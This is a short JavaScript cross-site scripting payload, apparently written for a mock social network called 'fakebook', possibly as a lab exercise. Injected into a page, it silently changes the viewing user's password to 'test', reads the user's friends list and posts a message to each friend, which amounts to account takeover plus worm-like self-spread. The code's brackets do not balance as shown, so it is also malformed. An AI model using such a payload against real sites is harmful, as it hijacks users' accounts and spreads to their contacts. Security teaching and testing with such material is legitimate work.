<script>
$.get("fakebook.pl" , {
    sub: "changepw",
    newpw: "test",
    newpwrep: "test"
})
$.get("fakebook.pl", {sub: "detail"}, function(data) {
    $(data).ready(function() {
        $(data).find("#friends > a").each(function() {
            $.get("fakebook.pl", {
                sub: "detail",
                id: $(this).text(),
                newmsg: "Hello my new fakebook friend"
        })
    })
 })
</script>